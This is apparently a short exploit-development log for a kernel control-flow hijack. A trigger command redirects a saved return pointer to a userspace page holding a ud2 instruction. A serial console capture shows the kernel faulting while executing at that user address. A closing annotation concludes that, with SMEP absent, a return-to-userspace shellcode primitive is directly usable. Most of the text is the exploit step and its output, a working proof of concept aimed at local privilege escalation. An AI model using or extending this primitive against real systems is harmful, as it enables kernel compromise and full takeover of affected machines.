+ su operator -c "/root/rig/trigger stage0"  (saved-RIP -> user page 0x10000000
+                                            containing a single ud2)
(serial console capture, unedited)

Fatal trap 1: privileged instruction fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer	= 0x8:0x10000000
stack pointer	        = 0x10:0xfffff80116a7a5d8
frame pointer	        = 0x10:0x0
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 841
current thread          = pri 6 
kernel: type 1 trap, code=0

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      0x10000000:
db> 

=> CPL0 executed an instruction at USERSPACE address 0x10000000 (the
   ud2 trap fired there, kernel mode).  No SMEP on this build: the
   ret-to-userspace-shellcode primitive is directly usable.